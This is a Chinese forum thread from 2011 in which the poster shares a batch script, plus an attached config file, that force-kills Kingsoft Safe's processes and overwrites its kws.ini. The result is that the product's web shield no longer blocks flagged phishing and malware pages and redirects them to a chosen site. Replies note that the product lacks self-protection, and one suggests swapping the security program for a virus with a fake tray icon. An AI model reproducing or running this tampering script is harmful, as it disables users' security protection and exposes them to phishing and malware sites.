再来一个，让金山卫士网盾拦截无效

大金鱼先生

前两贴关于主页锁定，这个让金山卫士拦截网页后无效
代码

1. @echo off
   
2. title  ◇网盾◇
   
3. cls
   
4. color 9F
   
5. :start
   
6. cls
   
7. color
   
8. MODE con: COLS=79 LINES=25
   
9. set tm1=%time:~0,2%
   
10. set tm2=%time:~3,2%
    
11. set tm3=%time:~6,2%
    
12. mode con cols=55 lines=10
    
13. taskkill /f /im ksafetray.exe >nul
    
14. taskkill /f /im ksafesvc.exe >nul
    
15. taskkill /f /im ksafe.exe >nul
    
16. copy "kws.ini" "C:\Program Files\KSafe" /y
    
17. cls
    
18. echo 修改成功，请打开金山卫士，然后任意打开一个挂马、钓鱼网站都会跳转到http://www.nanabuy.com/
    
19. 
    
20. pause >nul
    
21. exit

复制代码

win7vista下建议使用管理员权限
使用完附件后请打开金山卫士，打开一个金山卫士拦截的网页，你会发现结果跳转到了hxxp://www.nanabuy.com/（xx改成tt），当然，你可以在使用附件前验证下是否拦截我提供的跳转到的网站本来是拦截的，现在可不拦截了
那个网站只是钓鱼，不是挂马，不要担心
附件

思齐鼠

1. taskkill /f /im ksafetray.exe >nul
   
2. 
   
3. taskkill /f /im ksafesvc.exe >nul
   
4. 
   
5. taskkill /f /im ksafe.exe >nul
   
6. 
   
7. copy "kws.ini" "C:\Program Files\KSafe" /y
   
8. 
   

复制代码

这段是亮点，其实总结一下就是金山卫士没有自我保护。可以用Bat强力结束保护进程

大金鱼先生

思齐鼠 发表于 2011-8-27 15:38
这段是亮点，其实总结一下就是金山卫士没有自我保护。可以用Bat强力结束保护进程

这段代码不结束也没问题，只是怕被占用无法替换，泥巴三行去掉一样可行

yjwfdc

又是关了金山卫士之后修改金山卫士的文件,意义不大啊.不如直接把金山卫士主程序修改为病毒,那个病毒再设置个假的卫士托盘图标,一了百了.

大金鱼先生

yjwfdc 发表于 2011-8-27 15:39
又是关了金山卫士之后修改金山卫士的文件,意义不大啊.不如直接把金山卫士主程序修改为病毒,那个病毒再设置个 ...

见3L